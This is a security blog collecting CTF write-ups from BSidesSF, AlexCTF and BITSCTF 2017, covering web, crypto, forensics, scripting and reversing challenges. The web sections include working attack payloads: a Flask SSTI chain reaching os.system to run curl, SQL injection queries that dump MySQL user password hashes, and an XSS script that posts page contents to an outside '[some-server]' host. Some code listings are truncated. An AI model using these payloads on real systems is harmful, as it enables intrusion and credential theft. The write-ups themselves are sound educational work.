Tuesday, February 14, 2017

BSidesSF 2017 - Web: Zubmo

The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!


Zubmo 1 (20)

On Zubmo we start off on the route 'index.template' - http://zumbo-8ac445b1.ctf.bsidessf.net/index.template

Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'

The python unicode string instantly stuck out identifying this as a python backend.

Looking at the source of index.template, we get this nice comment towards the bottom:

<!-- page: index.template, src: /code/server.py -->

Next, it was time to check out server.py to see if it exists, visiting http://zumbo-8ac445b1.ctf.bsidessf.net/server.py we get:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672

def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"

And with that, we've already completed Zubmo 1! Dropping the flag:


Zubmo 2 (100)

The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:



This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.

Zubmo 3 (250)

This next part ended up taking a while to complete.  Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.

In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:

[Errno 2] No such file or directory: u'robots.txt'

This comes from this section in the code:

        template = open(page).read()
    except Exception as e:
        template = str(e)

It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:

Part II of the article from nvisium turned out to be the intended solution.  After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.

All of these articles are about SSTI or Server Side Template Injection.

Here's a very basic example of this:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ 1+1 }}

Which results in the following:

[Errno 2] No such file or directory: u'2'

So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ print("hello") }}

Results in an ISE:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.

Looking at an empty string's __mro__ we can access the following classes:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__ }}

[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"

Now we can dive into the object class and grab a few other modules, with this we get quite a lot:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__() }}

[Errno 2] No such file or directory: u"[
<type 'type'>,
 <type 'weakref'>,
 <type 'weakcallableproxy'>,
 <type 'weakproxy'>,
 <type 'int'>,
 <type 'basestring'>,
 <type 'bytearray'>,
 <type 'list'>,
 <type 'NoneType'>,
 <type 'NotImplementedType'>,

What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.

This ends up being at index 59:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"

Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}

[Errno 2] No such file or directory: u""

Now we can call this with any command!  Let's just curl that url as they do in the python server.py script:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}

[Errno 2] No such file or directory: u"0"

Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}

Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!



This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.

Tuesday, February 7, 2017

AlexCTF 2017 - Crypto

CR1: Ultracoded (50)

Starting out with a very simple one, here's the description:

Fady didn't understand well the difference between encryption and encoding, so instead of encrypting some secret message to pass to his friend, he encoded it!
Hint: Fady's encoding doens't handly any special character

Initially we're given a file (named zero_one) with a bunch of spelled-out bits:


First thing to do in this situation is to use a bit of sed to convert them all to their original form:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;'


Next we can find what this turns into with some perl:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_'


Now we have some Base64 we can decode:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_' | base64 -D

.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Aaaand now we have some Morse code, which ended up being decoded using - http://morsecode.scphillips.com/translator.html
If anyone knows a good command-line tool for this, please leave a comment below! Would love to add that to the one-liner!

Using the online tool, we get this result:


It wasn't over yet, this wasn't the flag based on their flag format, but it wasn't too difficult to spot the encoding, all O characters were really underscores:


CR2: Many time secrets (100)


This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!

Not sure who this Fady person is, sounds familiar... Sounds like we need to crack a poorly encrypted message with OTP issues.
Downloading the file they provide, called msg, we see it's a few lines of hex:


Looking up common techniques for cracking OTP we can find the Many Time Pad Attack / the Crib Dragging technique - http://crypto.stackexchange.com/questions/59/taking-advantage-of-one-time-pad-key-reuse

There's a very nice python library for crib dragging here - https://github.com/SpiderLabs/cribdrag

This allows us to easily read in msg file and start the process of discovery. First we need the messages on one line:

$ cat msg | tr -d '\n'; echo


Then we pass this in as the first argument to the cribdrag.py tool, initially we have a blank canvas:

./cribdrag/cribdrag.py 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Your message is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

Now we know that the flag will be in the format ALEXCTF{...}, so we can start with that:

Please enter your crib: ALEXCTF{
*** 0: "Dear Fri"
1: "hho;Q`TV"
2: "ef&JwFkP"
3: "k/WlQymM"
4: ""^qJnp"
5: "SxWuhb/"
6: "u^hsu=9h"
7: "Sann*+U\"

Many examples were dropped (276), and a few of them were intelligible. The first one looked like a good candidate, starting with 0, we identify it as a 'message'.

Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       ALEXCTF{________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       Dear Fri________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

"Dear Friend," makes the most sense in the clue we have, so going with that we can find more information:

Please enter your crib: Dear Friend,

This time 0 is the key, next we can guess underscore is after 'HERE' in the flag from the normal flag format. Continuing this process onwards will fill in the full flag:

Please enter your crib: ALEXCTF{HERE_
*** 260: "ncryption sch"
Enter the correct position, 'none' for no match, or 'end' to quit: 260
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: encryption scheme
Enter the correct position, 'none' for no match, or 'end' to quit: 259
Is this crib part of the message or key? Please enter 'message' or 'key': key
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 207: "ecure, Let Me know "
Enter the correct position, 'none' for no match, or 'end' to quit: 207
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 233: "agree with me to us"
Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: agree with me to use this encryption scheme

Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0       ALEXCTF{HERE____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______}ALEXCTF{HERE_GOES________}ALEXCT
280     ____
Your key is currently:
0       Dear Friend,____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______ecure, Let Me know _______agree w
240     ith me to use this encryption scheme____
280     ____
Please enter your crib:


Enter the correct position, 'none' for no match, or 'end' to quit: none
No changes made.
Your message is currently:
280     E_KEY
Your key is currently:
0       Dear Friend, This time I understood my m
40      istake and used One time pad encryption
80      scheme, I heard that it is the only encr
120     yption method that is mathematically pro
160     ven to be not cracked ever if the key is
200      kept secure, Let Me know if you agree w
240     ith me to use this encryption scheme alw
280     ays 



CR4: Poor RSA (200)


This time Fady decided to go for modern cryptography implementations, He is fascinated with choosing his own prime numbers, so he picked up RSA once more. Yet he was unlucky again!


This was a challenge where a little crypto education would've helped. Started this one off by looking up previous write-ups for RSA based challenges on a CTF. This one turned out to be great! - https://0x90r00t.com/2015/09/20/ekoparty-pre-ctf-2015-cry100-rsa-2070-write-up/

Extracting the tar.gz gave us two files, a encrypted flag and a public key:

-rw-r--r--@  1 user  staff    69B Dec 11 01:08 flag.b64
-rw-r--r--@  1 user  staff   162B Dec 11 00:59 key.pub

Walking through that writeup made this process very simple, starting off by identifying how many bits are used on the public key:

Modulus (399 bit):
Exponent: 65537 (0x10001)

Looks like we also got an odd amount of bits (no pun intended).
Now we need to format the hex values to get the integer product:

openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n '

Then to get the int value, pass it into python:

$ openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n ' | xargs python -c 'import sys; print int(sys.argv[1], 16)'


Now we can query factordb for this value: http://www.factordb.com/index.php?query=833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019

We end up seeing there is a match!

This turns out to be:
863653476616376575308866344984576466644942572246900013156919 * 965445304326998194798282228842484732438457170595999523426901

Now that we have p & q, we can generate the private key using RSATool - https://github.com/ius/rsatool

$ python ./rsatool/rsatool.py -p 863653476616376575308866344984576466644942572246900013156919 -q 965445304326998194798282228842484732438457170595999523426901 -o ./priv.key

Finally we just need to decrypt the flag using openssl:

$ openssl rsautl -decrypt -in flag.raw -inkey priv.key

This drops the Flag:


Monday, February 6, 2017

AlexCTF 2017 - Forensics & Scripting

Fore3: USB probing (150)

On this challenge we're given a pcap and a description mentioning something is to be found from a USB data transfer. Noticed lots of USB-based pcap challenges on AlexCTF & BITSCTF this year...

One of our agents managed to sniff important piece of data transferred transmitted via USB, he told us that this pcap file contains all what we need to recover the data can you find it ?


Firing up wireshark and sorting the packets by size, we can see on the largest one there's a familiar segment in the data section:

Looks like there's a png in here!  By right clicking and selecting "Leftover Capture Data" > "Copy" > "...as Hex Dump" will give us the bytes we need for this challenge.  Throwing that into vim and doing a quick deletion of the first column, then %s/ //g; %s/\n//g will give us one string of hex.  Now we can export the binary data (saved as ./raw) with something like this:

cat ./raw | xargs python -c 'import sys; print sys.argv[1].decode("hex")'  > out1.png

Now we can check out this png for filetype & exif

$ file out1.png
out1.png: PNG image data, 460 x 130, 8-bit/color RGBA, interlaced

$ exiftool out1.png
ExifTool Version Number         : 10.08
File Name                       : out1.png
Directory                       : .
File Size                       : 60 kB
File Modification Date/Time     : 2017:02:06 18:09:03-08:00
File Access Date/Time           : 2017:02:05 19:13:06-08:00
File Inode Change Date/Time     : 2017:02:06 18:09:03-08:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 460
Image Height                    : 130
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Adam7 Interlace
Gamma                           : 2.2
Background Color                : 255 255 255
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
Modify Date                     : 2016:12:31 19:24:31
Comment                         : Created with GIMP
Warning                         : Corrupted PNG image
Image Size                      : 460x130
Megapixels                      : 0.060

It worked! It's a little corrupted, but as you can see below as we view the image (with alpha fixed), it's good enough to read the flag:

SC1: Math Bot (100)

It is well known that computers can do tedious math faster than human.

nc 1337

On this challenge I ended up one of my own tools, PwnUp!  It's a CLI utility for pwntools which allows you to scaffold out a quick client for a remote interactive challenge. Here's a sample run setting up the client for this challenge:

[*] Running PwnUp 1.0.6
 [?] Choose a type.
       1) ssh
    2> 2) remote
       3) local
[*] You Chose: remote
host >
port > 1337
[+] Opening connection to on port 1337: Done
[*] Press <Ctrl-D> to stop recording ...
[*] Switching to interactive mode
         ______/ ________ \______
       _/      ____________      \_
     _/____________    ____________\_
    /  ___________ \  / ___________  \
  /  /############/    \############\  \
__|\_____   ___   //  \\   ___   _____/|__
[_       \     \  X    X  /     /       _]
__|     \ \                    / /     |__
[____  \ \ \   ____________   / / /  ____]
     \  \ \ \/||.||.||.||.||\/ / /  /
      \_ \ \  ||.||.||.||.||  / / _/
        \ \   ||.||.||.||.||   / /
         \_   ||_||_||_||_||   _/
           \     ........     /

Our system system has detected human traffic from your IP!
Please prove you are a bot
Question  1 :
218318831115561303988112386917565 / 13366707491950058576832163796786 =

This dumps the client:

#!/usr/bin/env python
from pwn import *

r = remote('', 1337)

def main():
  print(r.recvuntil('66707491950058576832163796786 =\n'))

if __name__ == "__main__":

The initial client setup has been done, now we just have to generalize the maths. Through a couple iterations, it ended up looking something like this:

#!/usr/bin/env python
from pwn import *

r = remote('', 1337)

def main():
  for x in range(250):
    print r.recvuntil(' :\n')
    x = r.recvuntil('=\n').replace('=', '')
    print 'Q: {}'.format(x)

    value = 0
    _l, op, _r, _ = x.split(' ')
    _l = int(_l)
    _r = int(_r)

    if op is '+':
      value = _l + _r
    elif op is '-':
      value = _l - _r
    elif op is '*':
      value = _l * _r
    elif op is '%':
      value = _l % _r
    elif op is '/':
      value = _l / _r

    print 'R: {}'.format(value)

  print r.recvline()
  print r.recvline()
  print r.recvline()
  print r.recvline()


if __name__ == "__main__":

Running this script gives us:

Q: 174942629367119018977343151908382 - 15526770931750616720349747677112

R: 159415858435368402256993404231270
Question  247 :

Q: 60323767070161082714762485861860 + 233868579061398884615403732403639

R: 294192346131559967330166218265499
Question  248 :

Q: 249001744992309701987741377654436 + 119589169821601639702529040150239

R: 368590914813911341690270417804675
Question  249 :

Q: 186075071179272307783795940653753 + 205359634338042277068417382152009

R: 391434705517314584852213322805762
Question  250 :

Q: 103090646436160362683705207412345 + 111725961983915005271322948765063

R: 214816608420075367955028156177408
Well no human got time to solve 500 ridiculous math challenges

Congrats MR bot!

Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}

Dropping the flag around question 250:


SC2: Cutie Cat (150)

Usually steganography challenges give me confidence, this one however, did not.  It was still a fun challenge, but I ended up coming back to it and the hint gave away the answer for me.  Initially I had tried many methods, alpha masks, lsb, threshold tweaking / bit layers, xor, etc.  Here is the description with the hint:

yeah steganography challenges are the worst... that's why we got only ~~one ~~ two steganography challenges .
Hint: It scripting because we need a python library to solve the challenge, one that is made in japan.

Searching a bit through the internets for python libraries made in japan, lead me to this page - https://pypi.python.org/pypi?%3Aaction=search&term=japanese

On here, if you search for stego, you find this library - https://pypi.python.org/pypi/steganography/0.1.1

After installing it and running it against the image, it was instant gratification:

$ steganography -d cat_with_secrets.png


Again, not the most exciting stego challenge, but I was happy it lead to a moment of recon : )

AlexCTF 2017 - Reverse Engineering: Gifted (50) & unVM me (250)

The challenges on AlexCTF were very fun, I ended up pushing myself further trying out new techniques and categories I usually don't touch as much.


This was a very simple challenge, just strings the binary and there you go!

$ strings gifted | grep -i alexctf


unVM me

This challenge was a lot of fun, and not something you usually see. It was a python reversing challenge where you were given a pyc. Here's the description:

If I tell you what version of python I used .. where is the fun in that?


Looking around for a python decompiler, we can find this - https://github.com/gstarnberger/uncompyle

Creating a new python virtual environment for this uncompyle tool we can extract the source easily:

mkdir blah
$ virtualenv blah
$ source ./blah/bin/activate
$ pip install uncompyle2
$ ./blah/bin/uncompyle6 ./unvm_me.pyc > unvms.py

Looking at the source we have:

$ cat unvms.py

import md5
md5s = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L]

print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 69:
    print 'nice try'
if len(flag) % 5 != 0:
    print 'nice try'
for i in range(0, len(flag), 5):
    s = flag[i:i + 5]
    if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
        print 'nice try'

print 'Congratz now you have the flag'

So now that we have this, it's pretty easy to see what else we need to do, we just have to crack 13 MD5 hashes.
Adding this line under the md5s list helped print out the hashes:

for x in md5s: print '{0:032x}'.format(x)

This yields the output:


Using john we can crack these pretty quickly:

$ john --incremental=LowerNum hashes --format=raw-md5

Here's the result:

831daa3c843ba8b087c895f0ed305ce7: ALEXC
6722f7a07246c6af20662b855846c2c8: TF{dv
5f04850fec81a27ab5fc98befa4eb40c: 5d4s2
ecf8dcac7503e63a6a3667c5fb94f610: vj8nk
c0fd15ae2c3931bc1e140523ae934722: 43s8d
569f606fd6da5d612f10cfb95c0bde6d: 8l6m1
068cb5a1cf54c078bf0e7e89584c1a4e: n5l67
c11e2cd82d1f9fbd7e4d6ee9581ff3bd: ds9v4
1df4c637d625313720f45706a48ff20f: 1n52n
3122ef3a001aaecdb8dd9d843c029e06: v37j4
adb778a0f729293e7e0b19b96a4c5a61: 81h3d
938c747c6a051b3e163eb802a325148e: 28n4b
38543c5e820dd9403b57beff6020596d: 6v3k}

Now with some sed & tr, we have the flag!

$ cat solution | sed 's/.*://g' | tr -d '\n '; echo


BITSCTF 2017 - Web [Batman vs Joker, Message the admin]

Batman vs Joker (30)

Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1

With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

First name:information_schema
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


Message the admin (60)

This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.

Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);

Running a server and redirecting the output to an html file, we get this:


Sunday, February 5, 2017

BITSCTF 2017 - Crypto [Banana Princess (20), Enigma (30), Beginner's Luck (40), Sherlock (60)]

This CTF was a lot of fun!  There were a lot of easier challenges, and had some inventive challenges!

For the Crypto challenges, they were mostly encoding based or very simple XOR ciphers.

Banana Princess

This first crypto challenge included a pdf file (MinionQuest.pdf) and description:

The princess has been kidnapped! It is up to you to rescue her now, with the help of the minions. They have provided you with a letter (which may or may not have touched the kidnappers hands on its way to you).

Authors - Speeeddy, Blaze

Initially checking the exifdata seemed like a good idea:

ExifTool Version Number         : 10.08
File Name                       : MinionQuest.pdf
Directory                       : .
File Size                       : 420 kB
File Modification Date/Time     : 2017:02:04 22:29:08-08:00
File Access Date/Time           : 2017:02:05 02:24:27-08:00
File Inode Change Date/Time     : 2017:02:04 22:29:11-08:00
File Permissions                : rw-r--r--
Error                           : File format error

Looks like the pdf is corrupted, maybe the bytes or xor'd or something. Looking at a normally formed pdf elsewhere we can find similar strings to the corrupted ones:

<</Yvarnevmrq 1/Y 430190/B 6/R 404343/A 1/G 429991/U [ 576 155]>>

This could possibly be a simple rotation, so going here (http://planetcalc.com/1434/) we can see it shows up at the ROT13 point:

<</Linearized 1/L 430190/O 6/E 404343/N 1/T 429991/H [ 576 155]>>

So now we just have to ROT13 the whole file!
At this point I just used python to do the rest:

# rot13 code from http://stackoverflow.com/questions/3269686/short-rot13-function
import string
rot13 = string.maketrans( 

# print string.translate("Hello World!", rot13)

x = open('./MinionQuest.pdf', 'rb').read()
y = open('./out.pdf', 'w')

y.write(string.translate(x, rot13))
print 'done.'

This drops a pdf called 'out.pdf' which contains some better data to check out, looks like a part of it is redacted!

At this point I tried a few things, including looking for PDF layers, importing into Gimp and checking for PSD layers (as the exifdata did mention Adobe Photoshop CC 2015 & Microsoft Word), then after those checks failed, the next was to try file carving.

For file carving I ended up using one of my favorite tools, hachoir & hachoir-subfile! - https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile

$ hachoir-subfile out.pdf files
[+] Start search on 430190 bytes (420.1 KB)

[+] File at 1738 size=34851 (34.0 KB): JPEG picture => files/file-0001.jpg
[+] File at 36872 size=3448 (3448 bytes): JPEG picture => files/file-0002.jpg

[+] End of search -- offset=430190 (420.1 KB)
Total time: 108 ms -- global rate: 3.8 MB/sec

Looks like it worked! Output two files in our output directory of 'files'. This also dropped the full image without the redacted bar layer:

Flag: BITSCTF{save_the_kid}


This challenge ended up being solved faster than expected, but was nice to do, here's the description:

Its World War II and Germans have been using Enigma to encrypt their messages. Our analysts have figured that they might be using XOR-encryption. XOR-encrption is vulnerable to a known-plaintext attack. Sadly all we have got are the encrypted intercepted messages. Your task is to break the Enigma and get the flag.

The included encrypted.tar.zx file dropped six files which were scrambled a little, here's an example of one:

$ xxd 2e
00000000: 3630 3c35 362a 2642 6775 2651 6372 7263  60<56*&Bgu&Qcrrc
00000010: 7426 6f75 7226 6e63 7372 6326 6d6a 6774  t&our&ncsrc&mjgt
00000020: 2826 5463 6163 6826 676b 2647 6463 6862  (&Tcach&gk&Gdchb

Ended up using this tool for the majority of the challenges - https://wiremask.eu/tools/xor-cracker/ (Could probably do exactly the same using xortool, etc.)
On there we find the highest probability of the first file's XOR key has a length of 1, weighing in around 14.5% probability.
It also drops the most likely key as 0x06.

Wrote another small python program (which may have been overkill in hindsight):

from pwn import *

data = []
files = ['1e','2e','3e','4e','5e','6e']
key = '\x06'

for f in files:
  x = open(f, 'rb').read()

for x in data:
  print xor(data, key)

This printed out the conversions:

Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort
Britische Passagier-Konvoi beschmutzt bei 60 Grad Norden und 15 Grad Westen. Nehmen Sie es sofort06:30, Das Wetter ist heute klar. Regen am AbendAdvance Ihre Einheit 1 Grad Norden und 2 Grad OstenDer Code für den Tag ist BITCTF{Focke-Wulf Fw 200}Berichte der britischen Marineüberwachung in Ihrer Region. Gehen Sie undercoverWir verfehlen Torpedos. Nur 2 übrig. Senden Sie die Lieferungen sofort

In this we find the flag:

BITCTF{Focke-Wulf Fw 200}

Beginner's Luck

This one had an interesting premise, one that is well known and holds a good message to carry on:

Derp just had his first class of cryptography, and he feels really confident about his skills in this field. Can you break his algorithm and get the flag?

The challenge included BITSCTFfullhd.png and enc27.py. Looking at enc27.py we see this:

#!/usr/bin/env python

def supa_encryption(s1, s2):
    res = [chr(0)]*24
    for i in range(len(res)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

def add_pad(msg):
    L = 24 - len(msg)%24
    msg += chr(L)*L
    return msg

with open('fullhd.png','rb') as f:
    data = f.read()

data = add_pad(data)

with open('key.txt') as f:
    key = f.read()
enc_data = ''
for i in range(0, len(data), 24):
    enc = supa_encryption(data[i:i+24], key)
    enc_data += enc

with open('BITSCTFfullhd.png', 'wb') as f:

Looks like it takes a base image, 'full.png', adds some bytes to the end of the file, does a simple XOR with 'key.txt' and then writes it back out to 'BITSCTFfullhd.png'. So again, similar to the previous challenges, all this is doing is a XOR.

Again on this one, just used the XOR-Cracker online mentioned in the comments:
from pwn import *

# Used https://wiremask.eu/tools/xor-cracker/

srcImg = open('BITSCTFfullhd.png', 'rb').read()
out = open('out.png', 'w')
result = xor(srcImg, key)
print key


This dropped the png:



This one was the highest points, but ended up being the simplest to solve, this was just a one-liner:

cat final.txt | grep -Eo '[A-Z]' | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g' | perl -lpe '$_=pack"B*",$_'

